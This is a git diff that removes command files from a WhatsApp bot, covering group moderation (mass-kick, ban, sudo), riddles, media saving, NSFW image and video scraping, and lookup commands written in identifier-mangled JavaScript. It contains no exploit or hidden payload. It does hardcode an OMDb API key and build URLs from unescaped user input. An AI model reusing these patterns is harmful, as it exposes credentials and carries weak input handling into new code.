- if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
- if (superUser || auteurMessage == metadata.owner) {
-
- repondre('No_admin members will be removed from the group. You have 5 seconds to reclaim your choice by restarting the bot.') ;
- await sleep(5000)
- let membresGroupe = verifGroupe ? await infosGroupe.participants : "";
-try {
- let users = membresGroupe.filter((member) => !member.admin)
-
- for (const membre of users) {
-
-
-
-
-
-await zk.groupParticipantsUpdate(
- dest,
- [membre.id],
- "remove"
- )
- await sleep(500)
-
- }
-} catch (e) {repondre("I need administration rights")} } else {
- repondre("Order reserved for the group owner for security reasons"); return
-}
-});
-
-adams({
- nomCom: 'ban',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
-
-
- if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`mention the victim by typing ${prefixe}ban add/del to ban/unban the victim`);
- return;
- };
-
- if (msgRepondu) {
- switch (arg.join(' ')) {
- case 'add':
-
-
- let youareban = await isUserBanned(auteurMsgRepondu)
- if(youareban) {repondre('This user is already banned') ; return}
-
- addUserToBanList(auteurMsgRepondu)
- break;
- case 'del':
- let estbanni = await isUserBanned(auteurMsgRepondu)
- if (estbanni) {
-
- removeUserFromBanList(auteurMsgRepondu);
- repondre('This user is now free.');
- } else {
- repondre('This user is not banned.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
- } else {
- repondre('mention the victim')
- return;
- }
-});
-
-
-
-adams({
- nomCom: 'bangroup',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe } = commandeOptions;
-
-
- if (!superUser) {repondre('This command is only allowed to the bot owner') ; return};
- if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`type ${prefix}bangroup add/del to ban/unban the group`);
- return;
- };
- const groupalreadyBan = await isGroupBanned(dest)
-
- switch (arg.join(' ')) {
- case 'add':
-
-
-
- if(groupalreadyBan) {repondre('This group is already banned') ; return}
-
- addGroupToBanList(dest)
-
- break;
- case 'del':
-
- if (groupalreadyBan) {
- removeGroupFromBanList(dest)
- repondre('This group is now free.');
-
- } else {
-
- repondre('This group is not banned.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
-
-});
-
-
-adams({
- nomCom: 'onlyadmin',
- categorie: 'Group',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe , verifAdmin } = commandeOptions;
-
-
-if (superUser || verifAdmin) {
-if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`type ${prefix}onlyadmin add/del to ban/unban the group`);
- return;
- };
- const groupalreadyBan = await isGroupOnlyAdmin(dest)
-
- switch (arg.join(' ')) {
- case 'add':
-
-
-
- if(groupalreadyBan) {repondre('This group is already in onlyadmin mode') ; return}
-
- addGroupToOnlyAdminList(dest)
-
- break;
- case 'del':
-
- if (groupalreadyBan) {
- removeGroupFromOnlyAdminList(dest)
- repondre('This group is now free.');
-
- } else {
-
- repondre('This group is not in onlyadmin mode.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
-} else { repondre('You are not entitled to this order')}
-});
-
-adams({
- nomCom: 'sudo',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
-
-
-if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`mention the person by typing ${prefix}sudo add/del`);
- return;
- };
-
- if (msgRepondu) {
- switch (arg.join(' ')) {
- case 'add':
-
-
- let youaresudo = await issudo(auteurMsgRepondu)
- if(youaresudo) {repondre('This user is already sudo') ; return}
-
- addSudoNumber(auteurMsgRepondu)
- repondre('succes')
- break;
- case 'del':
- let estsudo = await issudo(auteurMsgRepondu)
- if (estsudo) {
-
- removeSudoNumber(auteurMsgRepondu);
- repondre('This user is now non-sudo.');
- } else {
- repondre('This user is not sudo.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
- } else {
- repondre('mention the victim')
- return;
- }
-});
-
-
-adams({ nomCom: "save", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { repondre , msgRepondu , superUser, auteurMessage } = commandeOptions;
-
- if ( superUser) {
-
- if(msgRepondu) {
-
- console.log(msgRepondu) ;
-
- let msg ;
-
- if (msgRepondu.imageMessage) {
-
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
- // console.log(msgRepondu) ;
- msg = {
-
- image : { url : media } ,
- caption : msgRepondu.imageMessage.caption,
-
- }
-
-
- } else if (msgRepondu.videoMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
-
- msg = {
-
- video : { url : media } ,
- caption : msgRepondu.videoMessage.caption,
-
- }
-
- } else if (msgRepondu.audioMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
-
- msg = {
-
- audio : { url : media } ,
- mimetype:'audio/mp4',
- }
-
- } else if (msgRepondu.stickerMessage) {
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
-
- let stickerMess = new Sticker(media, {
- pack: 'BMW-MD-TAG',
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
-
- msg = { sticker: stickerBuffer2}
-
-
- } else {
- msg = {
- text : msgRepondu.conversation,
- }
- }
-
- zk.sendMessage(auteurMessage,msg)
-
- } else { repondre('Mention the message that you want to save') }
-
- } else {
- repondre('only mods can use this command')
- }
-
-
- })
-;
-
-
-adams({
- nomCom : 'mention',
- categorie : 'Mods',
-} , async (dest,zk,commandeOptions) => {
-
- const {ms , repondre ,superUser , arg} = commandeOptions ;
-
- if (!superUser) {repondre('you do not have the rights for this command') ; return}
-
- const mbdd = require('../bdd/mention') ;
-
- let alldata = await mbdd.recupererToutesLesValeurs() ;
- data = alldata[0] ;
-
-
- if(!arg || arg.length < 1) {
-
- let etat ;
-
- if (alldata.length === 0 ) { repondre(`To activate or modify the mention; follow this syntax: mention link type message
- The different types are audio, video, image, and sticker.
- Example: mention https://static.animecorner.me/2023/08/op2.jpg image Hi, my name is Beltah`) ; return}
-
- if(data.status == 'non') {
- etat = 'Desactived'
- } else {
- etat = 'Actived' ;
- }
-
- mtype = data.type || 'no data' ;
-
- url = data.url || 'no data' ;
-
-
- let msg = `Status: ${etat}
-Type: ${mtype}
-Link: ${url}
-
-*Instructions:*
-
-To activate or modify the mention, follow this syntax: mention link type message
-The different types are audio, video, image, and sticker.
-Example: mention https://telegra.ph/file/52e3bb0ba3868d64df3f0.jpg image Hi, my name is Beltah
-
-To stop the mention, use mention stop`;
-
- repondre(msg) ;
-
- return ;
- }
-
- if(arg.length >= 2) {
-
- if(arg[0].startsWith('http') && (arg[1] == 'image' || arg[1] == 'audio' || arg[1] == 'video' || arg[1] == 'sticker')) {
-
- let args = [] ;
- for (i = 2 ; i < arg.length ; i++) {
- args.push(arg[i]) ;
- }
- let message = args.join(' ') || '' ;
-
- await mbdd.addOrUpdateDataInMention(arg[0],arg[1],message);
- await mbdd.modifierStatusId1('oui')
- .then(() =>{
- repondre('mention updated') ;
- })
- } else {
- repondre(`*Instructions:*
- To activate or modify the mention, follow this syntax: mention link type message. The different types are audio, video, image, and sticker.`)
- }
-
- } else if ( arg.length === 1 && arg[0] == 'stop') {
-
- await mbdd.modifierStatusId1('non')
- .then(() =>{
- repondre(' mention stopped ') ;
- })
- }
- else {
- repondre(`Please make sure to follow the instructions`) ;
- }
-})
diff --git a/scs/bmwda.js b/scs/bmwda.js
deleted file mode 100644
index 7f28c03..0000000
--- a/scs/bmwda.js
+++ /dev/null
@@ -1,129 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-
-// Set a riddle list with questions and answers
-const devinettes = [
- {
- question: "I can fly without wings, who am I?",
- reponse: "The weather",
- },
- {
- question: "I'm always hungry, the more I eat, the fatter I become. Who am I ?",
- reponse: "A black hole",
- },
- {
- question: "I'm strong when I'm down, but I'm weak when I'm up. Who am I ?",
- reponse: "The number 6",
- },
- {
- question: "I can be short or long, hard or soft, I can be used by anyone, from young children to experienced musicians. Who am I ?",
- reponse: "A pencil",
- },
- {
- question: "I am the beginning of the end, the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
- reponse: "The letter 'e'",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I ?",
- reponse: "A slate",
- },
- {
- question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
- reponse: "Tea",
- },
- {
- question: "I fly without wings, I cry without eyes. Wherever I am, death always accompanies me. Who am I ?",
- reponse: "The wind",
- },
- {
- question: "I have towns, but no houses. I have mountains, but no trees. I have water, but no fish. Who am I ?",
- reponse: "A map",
- },
- {
- question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
- reponse: "A borrowed book",
- },
- {
- question: "I come twice in a week, once in a year, but never in a day. Who am I ?",
- reponse: "The letter 'E'",
- },
- {
- question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
- reponse: "Your breath",
- },
- {
- question: "The hotter I am, the colder I become. Who am I ?",
- reponse: "coffe",
- },
- {
- question: "I am the stuff of dreams. I cover broken ideas. I change souls into wings. Who am I ?",
- reponse: "A book",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I?",
- reponse: "A slate",
- },
- {
- question: "I can fly without having wings. I can cry without having eyes. Who am I ?",
- reponse: "A cloud",
- },
- {
- question: "I start at night and finish in the morning. Who am I ?",
- reponse: "The letter 'N'",
- },
- {
- question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
- reponse: "A borrowed book",
- },
- {
- question: "I feed on everything around me, the air, the earth and even the trees. Who am I ?",
- reponse: "a fire",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I ?",
- reponse: "A slate",
- },
- {
- question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
- reponse: "tea",
- },
- {
- question: "I am the beginning of the end and the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
- reponse: "the letter'E'",
- },
- {
- question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
- reponse: "Your breath",
- },
- ];
-
-adams({ nomCom: "riddle", categorie: "Games" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre } = commandeOptions;
-
- // Choose a random riddle
- const devinette = devinettes[Math.floor(Math.random() * devinettes.length)];
-// Send the riddle question
- await zk.sendMessage(
- dest,
- {
- text: `Riddle: ${devinette.question} . \n you have 30 seconds to think about.`,
- },
- { quoted: ms }
- );
-
- //Wait 60 seconds before sending the response
- await delay(30000);
-
- // Answer
- await zk.sendMessage(
- dest,
- {
- text: `The answer was : ${devinette.reponse}`,
- },
- { quoted: ms }
- );
-});
-
-// Function to create a pause/delay in milliseconds
-function delay(ms) {
- return new Promise((resolve) => setTimeout(resolve, ms));
-}
diff --git a/scs/bmwde.js b/scs/bmwde.js
deleted file mode 100644
index 2deee17..0000000
--- a/scs/bmwde.js
+++ /dev/null
@@ -1,33 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const { attribuerUnevaleur } = require('../lib/welcome');
-
-async function events(nomCom) {
- adams({
- nomCom: nomCom,
- categorie: 'Group'
- }, async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre, superUser, verifAdmin } = commandeOptions;
-
- if (verifAdmin || superUser) {
- if (!arg[0] || arg.join(' ') === ' ') {
- repondre(nomCom + ' ' + ' on to active and ' + ' ' + nomCom + ' ' + 'off to put off');
- } else {
- if (arg[0] === 'on' || arg[0] === 'off') {
-
- await attribuerUnevaleur(dest, nomCom, arg[0]);
- repondre( nomCom + "is actualised on " + arg[0]);
- } else {
- repondre('on for active and off for desactive');
- }
- }
- } else {
- repondre('You can\'t use this command lol ');
- }
- });
-}
-
-// Appel de la fonction events pour les valeurs 'welcome' et 'goodbye'
-events('welcome');
-events('goodbye');
-events('antipromote');
-events('antidemote') ;
diff --git a/scs/bmwdo.js b/scs/bmwdo.js
deleted file mode 100644
index 6251d26..0000000
--- a/scs/bmwdo.js
+++ /dev/null
@@ -1,24 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const fancy = require("../scs/bmwt");
-
-adams({ nomCom: "fancy", categorie: "Fun", reaction: "〽️" }, async (dest, zk, commandeOptions) => {
- const { arg, repondre, prefixe } = commandeOptions;
- const id = arg[0]?.match(/\d+/)?.join('');
- const text = arg.slice(1).join(" ");
-
- try {
- if (id === undefined || text === undefined) {
- return await repondre(`\nExemple : ${prefixe}fancy 10 Bmw-Md\n` + String.fromCharCode(8206).repeat(4001) + fancy.list('BMW-MD', fancy));
- }
-
- const selectedStyle = fancy[parseInt(id) - 1];
- if (selectedStyle) {
- return await repondre(fancy.apply(selectedStyle, text));
- } else {
- return await repondre('_Style introuvable :(_');
- }
- } catch (error) {
- console.error(error);
- return await repondre('_Une erreur s\'est produite :(_');
- }
-});
diff --git a/scs/bmwdu.js b/scs/bmwdu.js
deleted file mode 100644
index abae9f4..0000000
--- a/scs/bmwdu.js
+++ /dev/null
@@ -1,189 +0,0 @@
-
-
-const {adams } = require("../Ibrahim/adams");
-const axios = require('axios');
-const cheerio = require('cheerio');
-let func = require('../Ibrahim/mesfonctions') ;
-let hdb = require('../lib/hentai') ;
-
-
-adams({
- nomCom: "hwaifu",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/waifu'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. : ' +error);
- }
-});
-
-
- /////////////// hneko //////////
-adams({
- nomCom: "trap",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
-
- const url = 'https://api.waifu.pics/nsfw/trap'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-adams({
- nomCom: "hneko",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/neko'//apiWaifu("neko"); // Remplace avec ton lien réel
-
- try { for (let i = 0 ;i < 5 ; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-adams({
- nomCom: "blowjob",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/blowjob'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-
-adams({
- nomCom: "hentaivid",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- try {
-
- let videos = await hentai()
-
- let length ;
-
- if (videos.length > 10) {
- length = 10
- } else {
- length = videos.length ;
- }
-
-
-
- let i = Math.floor(Math.random() * length) ;
-
- zk.sendMessage(origineMessage,{video :{url : videos[i].video_1}, caption : `*Title :* ${videos[i].title} \n *Category :* ${videos[i].category}`},{quoted : ms})
-
-
- } catch (error) {
- console.log(error)
- }
-});
-
-
-
-
-
-
-
-async function hentai() {
- return new Promise((resolve, reject) => {
- const page = Math.floor(Math.random() * 1153)
- axios.get('https://sfmcompile.club/page/'+page)
- .then((data) => {
- const $ = cheerio.load(data.data)
- const hasil = []
- $('#primary > div > div > ul > li > article').each(function (a, b) {
- hasil.push({
- title: $(b).find('header > h2').text(),
- link: $(b).find('header > h2 > a').attr('href'),
- category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''),
- share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(),
- views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(),
- type: $(b).find('source').attr('type') || 'image/jpeg',
- video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'),
- video_2: $(b).find('video > a').attr('href') || ''
- })
- })
- resolve(hasil)
- })
- })
-}
diff --git a/scs/bmwee.js b/scs/bmwee.js
deleted file mode 100644
index 90288a6..0000000
--- a/scs/bmwee.js
+++ /dev/null
@@ -1,205 +0,0 @@
-const axios = require("axios");
-const {
- adams
-} = require('../Ibrahim/adams');
-const {
- Sticker,
- StickerTypes
-} = require('wa-sticker-formatter');
-adams({
- 'nomCom': "ranime",
- 'categorie': 'Fun',
- 'reaction': '📺'
-}, async (_0x3706cd, _0x4d0877, _0x335041) => {
- const {
- repondre: _0x131828,
- ms: _0x2bfc9e
- } = _0x335041;
- try {
- const _0x6bdb84 = await axios.get('https://api.jikan.moe/v4/random/anime');
- const _0x485e75 = _0x6bdb84.data.data;
- const _0x541be4 = _0x485e75.title;
- const _0x18c0c5 = _0x485e75.synopsis;
- const _0x18cb16 = _0x485e75.images.jpg.image_url;
- const _0x12d2f0 = _0x485e75.episodes;
- const _0x4921cf = _0x485e75.status;
- const _0x78e365 = "📺 Titre: " + _0x541be4 + "\n🎬 Épisodes: " + _0x12d2f0 + "\n📡 Statut: " + _0x4921cf + "\n📝 Synopsis: " + _0x18c0c5 + "\n🔗 URL: " + _0x485e75.url;
- _0x4d0877.sendMessage(_0x3706cd, {
- 'image': {
- 'url': _0x18cb16
- },
- 'caption': _0x78e365
- }, {
- 'quoted': _0x2bfc9e
- });
- } catch (_0x1e299d) {
- console.error("Error retrieving data from JSON :", _0x1e299d);
- _0x131828("Error retrieving data from JSON.");
- }
-});
-adams({
- 'nomCom': "google",
- 'categorie': 'Search'
-}, async (_0xce35ee, _0x580287, _0x1a7926) => {
- const {
- arg: _0x45ffa0,
- repondre: _0x44c3f6
- } = _0x1a7926;
- if (!_0x45ffa0[0x0] || _0x45ffa0 === '') {
- _0x44c3f6("Give me a query.\n*Example: .google What is a bot.*");
- return;
- }
- const _0x47ba40 = require("google-it");
- try {
- const _0xb04653 = await _0x47ba40({
- 'query': _0x45ffa0.join(" ")
- });
- let _0x100d9a = "Google search for : " + _0x45ffa0 + "\n\n";
- for (let _0x288157 of _0xb04653) {
- _0x100d9a += "➣ Title : " + _0x288157.title + "\n";
- _0x100d9a += "➣ Description : " + _0x288157.snippet + "\n";
- _0x100d9a += "➣ Link : " + _0x288157.link + "\n\n────────────────────────\n\n";
- }
- _0x44c3f6(_0x100d9a);
- } catch (_0x277bfb) {
- _0x44c3f6("An error occurred during Google search.");
- }
-});
-adams({
- 'nomCom': "imdb",
- 'categorie': "Search"
-}, async (_0x3e0c57, _0x31cdeb, _0x68675d) => {
- const {
- arg: _0xb16e9f,
- repondre: _0x390000,
- ms: _0x2128cb
- } = _0x68675d;
- if (!_0xb16e9f[0x0] || _0xb16e9f === '') {
- _0x390000("give the name of a series or film.");
- return;
- }
- try {
- const _0x2465ce = await axios.get('http://www.omdbapi.com/?apikey=742b2d09&t=' + _0xb16e9f + '&plot=full');
- const _0x15db1f = _0x2465ce.data;
- let _0xd32d5c = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
- _0xd32d5c += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
- _0xd32d5c += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
- _0xd32d5c += "🎬Title : " + _0x15db1f.Title + "\n";
- _0xd32d5c += "📅year : " + _0x15db1f.Year + "\n";
- _0xd32d5c += "⭐Assessment : " + _0x15db1f.Rated + "\n";
- _0xd32d5c += "📆Release : " + _0x15db1f.Released + "\n";
- _0xd32d5c += "⏳Runtime : " + _0x15db1f.Runtime + "\n";
- _0xd32d5c += "🌀Genre : " + _0x15db1f.Genre + "\n";
- _0xd32d5c += "👨🏻💻Director : " + _0x15db1f.Director + "\n";
- _0xd32d5c += "✍writers : " + _0x15db1f.Writer + "\n";
- _0xd32d5c += "👨actors : " + _0x15db1f.Actors + "\n";
- _0xd32d5c += "📃Synopsis : " + _0x15db1f.Plot + "\n";
- _0xd32d5c += "🌐Language : " + _0x15db1f.Language + "\n";
- _0xd32d5c += "🌍Contry : " + _0x15db1f.Country + "\n";
- _0xd32d5c += "🎖️Awards : " + _0x15db1f.Awards + "\n";
- _0xd32d5c += "📦BoxOffice : " + _0x15db1f.BoxOffice + "\n";
- _0xd32d5c += "🏙️Production : " + _0x15db1f.Production + "\n";
- _0xd32d5c += "🌟score : " + _0x15db1f.imdbRating + "\n";
- _0xd32d5c += "❎imdbVotes : " + _0x15db1f.imdbVotes + '';
- _0x31cdeb.sendMessage(_0x3e0c57, {
- 'image': {
- 'url': _0x15db1f.Poster
- },
- 'caption': _0xd32d5c
- }, {
- 'quoted': _0x2128cb
- });
- } catch (_0x1cf2b8) {
- _0x390000("An error occurred while searching IMDb.");
- }
-});
-adams({
- 'nomCom': "movie",
- 'categorie': 'Search'
-}, async (_0x41a878, _0x44c40c, _0x3424dd) => {
- const {
- arg: _0x51290b,
- repondre: _0x111c6a,
- ms: _0x3b271c
- } = _0x3424dd;
- if (!_0x51290b[0x0] || _0x51290b === '') {
- _0x111c6a("give the name of a series or film.");
- return;
- }
- try {
- const _0x2fab7f = await axios.get("http://www.omdbapi.com/?apikey=742b2d09&t=" + _0x51290b + "&plot=full");
- const _0x315c2c = _0x2fab7f.data;
- let _0x1d9b0f = "*Yoo if you want to download this film join telegram channel below and get it*\n";
- _0x1d9b0f += " ``` https://t.me/ibrahimtechai```\n";
- _0x1d9b0f += "*BMW MD FILMS SEARCH*\n";
- _0x1d9b0f += "🎬Title : " + _0x315c2c.Title + "\n";
- _0x1d9b0f += "⭐Assessment : " + _0x315c2c.Rated + "\n";
- _0x1d9b0f += "📆Release : " + _0x315c2c.Released + "\n";
- _0x1d9b0f += "⏳Runtime : " + _0x315c2c.Runtime + "\n";
- _0x1d9b0f += "🌀Genre : " + _0x315c2c.Genre + "\n";
- _0x1d9b0f += "👨🏻💻Director : " + _0x315c2c.Director + "\n";
- _0x1d9b0f += "✍writers : " + _0x315c2c.Writer + "\n";
- _0x1d9b0f += "👨actors : " + _0x315c2c.Actors + "\n";
- _0x1d9b0f += "🌐Language : " + _0x315c2c.Language + "\n";
- _0x1d9b0f += "🌍Contry : " + _0x315c2c.Country + "\n";
- _0x1d9b0f += "🏙️Production : " + _0x315c2c.Production + "\n";
- _0x1d9b0f += "❎imdbVotes : " + _0x315c2c.imdbVotes + "\n";
- _0x1d9b0f += "🤠Sponsor : ©Ibrahim Adams";
- _0x44c40c.sendMessage(_0x41a878, {
- 'image': {
- 'url': _0x315c2c.Poster
- },
- 'caption': _0x1d9b0f
- }, {
- 'quoted': _0x3b271c
- });
- } catch (_0x4a93c8) {
- _0x111c6a("An error occurred while searching IMDb.");
- }
-});
-adams({
- 'nomCom': "emomix",
- 'categorie': 'Conversion'
-}, async (_0x551458, _0x2c4778, _0x21c569) => {
- const {
- arg: _0x259928,
- repondre: _0x1e8365,
- ms: _0x4866c8,
- nomAuteurMessage: _0x259630
- } = _0x21c569;
- if (!_0x259928[0x0] || _0x259928.length !== 0x1) {
- _0x1e8365("Incorrect use. Example: .emojimix 😀;🥰");
- return;
- }
- const _0x1dbdf4 = _0x259928.join(" ").split(';');
- if (_0x1dbdf4.length !== 0x2) {
- _0x1e8365("Please specify two emojis using a ';' as a separator.");
- return;
- }
- const _0x4c4e39 = _0x1dbdf4[0x0].trim();
- const _0x19c1b9 = _0x1dbdf4[0x1].trim();
- try {
- const _0x36bc47 = require("axios");
- const _0x559df0 = await _0x36bc47.get("https://levanter.onrender.com/emix?q=" + _0x4c4e39 + _0x19c1b9);
- if (_0x559df0.data.status === true) {
- let _0x4ad919 = new Sticker(_0x559df0.data.result, {
- 'pack': _0x259630,
- 'type': StickerTypes.CROPPED,
- 'categories': ['🤩', '🎉'],
- 'id': '12345',
- 'quality': 0x46,
- 'background': "transparent"
- });
- const _0xab42e7 = await _0x4ad919.toBuffer();
- _0x2c4778.sendMessage(_0x551458, {
- 'sticker': _0xab42e7
- }, {
- 'quoted': _0x4866c8
- });
- } else {
- _0x1e8365("Unable to create emoji mix.");
- }
- } catch (_0x527ade) {
- _0x1e8365("An error occurred while creating the emoji mix." + _0x527ade);
- }
-});
diff --git a/scs/bmweo.js b/scs/bmweo.js
deleted file mode 100644
index dbf0a0d..0000000
--- a/scs/bmweo.js
+++ /dev/null
@@ -1,1337 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
- 'value': true
-});
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "repo",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
- const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
- const _0x36b130 = await _0x2f4eff.json();
- if (_0x36b130) {
- const _0x50985d = {
- 'stars': _0x36b130.stargazers_count,
- 'forks': _0x36b130.forks_count,
- 'lastUpdate': _0x36b130.updated_at,
- 'owner': _0x36b130.owner.login
- };
- const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x3cdb38.sendMessage(_0x256950, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x20cf11
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': "git",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
- const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x54f98d = await _0x23b84a.json();
- if (_0x54f98d) {
- const _0x33ab65 = {
- 'stars': _0x54f98d.stargazers_count,
- 'forks': _0x54f98d.forks_count,
- 'lastUpdate': _0x54f98d.updated_at,
- 'owner': _0x54f98d.owner.login
- };
